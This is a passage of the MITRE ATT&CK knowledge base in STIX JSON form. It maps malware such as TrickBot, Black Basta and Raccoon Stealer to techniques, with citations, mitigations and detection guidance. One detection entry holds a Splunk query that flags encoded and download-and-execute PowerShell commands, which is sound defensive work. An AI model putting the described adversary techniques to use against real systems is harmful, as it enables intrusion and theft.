2018)","relationship_type":"uses","source_ref":"malware--4189a679-72ed-4a89-a57c-7f689712ecf8","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-16T15:53:20.509Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) exfiltrates data over the same channel used for C2.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8ac067b-f246-40bb-98bd-fcff74092139","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.164Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) exfiltrates collected files automatically over FTP to remote servers.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8ad5375-e46e-407f-9de2-e4d241383497","created":"2024-09-16T08:33:04.220Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"},{"source_name":"Google Cloud APT41 2022","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman & John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:33:04.220Z","description":"[DUSTPAN](https://attack.mitre.org/software/S1158) decrypts and executes an embedded payload.(Citation: Google Cloud APT41 2024)(Citation: Google Cloud APT41 2022)","relationship_type":"uses","source_ref":"malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8b43377-366c-42c6-a4d2-ddcfd1228bbf","created":"2023-04-08T17:05:40.204Z","revoked":false,"external_references":[{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-08T17:05:40.204Z","description":"The [Black Basta](https://attack.mitre.org/software/S1070) dropper has mimicked an application for creating USB bootable drivers.(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8b7535e-7cf7-408e-acd3-a42fc77a5e35","created":"2021-03-29T16:39:26.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Docker Daemon Socket Protect","description":"Docker. (n.d.). Protect the Docker Daemon Socket. Retrieved March 29, 2021.","url":"https://docs.docker.com/engine/security/protect-access/"},{"source_name":"Kubernetes Cloud Native Security","description":"Kubernetes. (n.d.). Overview of Cloud Native Security. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/concepts/security/overview/"},{"source_name":"Microsoft AKS Azure AD 2023","description":"Microsoft. (2023, February 27). AKS-managed Azure Active Directory integration. Retrieved March 8, 2023.","url":"https://learn.microsoft.com/en-us/azure/aks/managed-aad"},{"source_name":"Kubernetes API Control Access","description":"The Kubernetes Authors. (n.d.). Controlling Access to The Kubernetes API. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/concepts/security/controlling-access/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:06:33.683Z","description":"Limit communications with the container service to managed and secured channels, such as local Unix sockets or remote access via SSH. Require secure port access to communicate with the APIs over TLS by disabling unauthenticated access to the Docker API and Kubernetes API Server.(Citation: Docker Daemon Socket Protect)(Citation: Kubernetes API Control Access) In Kubernetes clusters deployed in cloud environments, use native cloud platform features to restrict the IP ranges that are permitted to access to API server.(Citation: Kubernetes Cloud Native Security) Where possible, consider enabling just-in-time (JIT) access to the Kubernetes API to place additional restrictions on access.(Citation: Microsoft AKS Azure AD 2023)","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8b95918-bf5b-455a-928c-1b69fe9c9703","created":"2022-07-29T19:52:00.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:33:46.812Z","description":"[Sibot](https://attack.mitre.org/software/S0589) will delete an associated registry key if a certain server response is received.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8bad886-d65a-4652-811f-f8ff9f6bb6db","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}],"modified":"2019-04-24T23:55:43.445Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name.(Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8c19b7a-71a0-4941-9244-f9784e5e99fc","created":"2024-08-01T23:23:50.608Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T23:23:50.608Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) attempts to steal cookies and related information in browser history.(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8c447e8-6581-47ca-98d6-44b262023669","created":"2023-09-27T20:13:22.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:31:00.915Z","description":"[NightClub](https://attack.mitre.org/software/S1090) has copied captured files and keystrokes to the `%TEMP%` directory of compromised hosts.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-27T20:41:21.591Z","description":"[FakeM](https://attack.mitre.org/software/S0076) C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers. Additionally, some variants of [FakeM](https://attack.mitre.org/software/S0076) use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--bb3c1098-d654-4620-bf40-694386d28921","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8c84ee1-db8d-4f32-addf-831310c93ab7","created":"2024-02-12T20:31:55.087Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:31:55.087Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) will retrieved encrypted commands from its command and control server for follow-on actions such as cryptocurrency mining.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8c933d5-f44d-4e3b-ae15-f94518320995","created":"2019-01-29T21:47:53.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.926Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) creates a new hidden directory to store all components' outputs in a dedicated sub-folder for each.(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8cbc56c-4014-4e59-adfd-1899859f01d4","type":"relationship","created":"2020-11-06T18:40:38.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.853Z","description":"(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8cc55d6-2864-4642-a4e5-9e57b6033b52","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye PowerShell Logging 2016","description":"Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.","url":"https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"},{"source_name":"Malware Archaeology PowerShell Cheat Sheet","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T14:32:19.723Z","description":"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPowerShell can be used over WinRM to remotely run commands on a host. When a remote PowerShell session starts, svchost.exe executes wsmprovhost.exe\n\nFor this to work, certain registry keys must be set, and the WinRM service must be enabled. The PowerShell command Enter-PSSession -ComputerName \\ creates a remote PowerShell session.\n\nAnalytic 1 - Look for unusual PowerShell execution.\n\n sourcetype=WinEventLog:Microsoft-Windows-PowerShell/Operational\n| search EventCode=4104\n| eval suspicious_cmds=if(like(Message, \"%-EncodedCommand%\") OR like(Message, \"%Invoke-Expression%\") OR like(Message, \"%IEX%\") OR like(Message, \"%DownloadFile%\"), \"Yes\", \"No\")\n| where suspicious_cmds=\"Yes\"","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8d1b814-2a28-402f-ab3b-f64c6d9974ce","type":"relationship","created":"2021-10-17T15:10:00.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.732Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has exploited CVE-2019-0803 and MS16-032 to escalate privileges.(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d8d1c202-705c-4c13-823c-ff622969d5b1","created":"2022-03-30T14:26:51.846Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","modified":"2022-04-20T03:18:21.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8d6740b-a359-4f5c-b7d4-2189eea77892","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:33.425Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) uploads and downloads information.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8d8ce21-9439-4b62-9021-ae4037172173","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor executed commands and arguments in command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8e0ed13-7938-4c9c-99ef-511b8dbf76aa","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Totbrick Oct 2016","description":"Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"},{"source_name":"Bitdefender Trickbot VNC module Whitepaper 2021","description":"Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot’s Ever-Improving VNC Module. Retrieved September 28, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:45:32.495Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) downloads several additional files and saves them to the victim's machine.(Citation: Trend Micro Totbrick Oct 2016)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"}],"modified":"2019-09-04T22:55:40.600Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has run tasklist on a victim's machine.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8e8d071-fa60-4b6d-a0a4-dc6102f229c8","created":"2024-01-09T19:39:07.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-11T20:57:59.640Z","description":"[Samurai](https://attack.mitre.org/software/S1099) has the ability to proxy connections to specified remote IPs and ports through a a proxy module.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8ea50e5-0e68-4253-a922-61b549c40778","created":"2024-05-22T22:42:17.828Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:42:17.828Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) changes timestamps of overwritten files to either 1601.1.1 for NTFS filesystems, or 1980.1.1 for all other filesystems.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8ead39e-aa9f-44a7-ac5d-1a9b3bb46431","type":"relationship","created":"2020-07-17T15:48:51.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:02.476Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can execute PowerShell commands via WMI.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d8eae2c0-acc2-4bc5-9eb2-ea7550ff6989","created":"2024-09-17T16:23:45.005Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 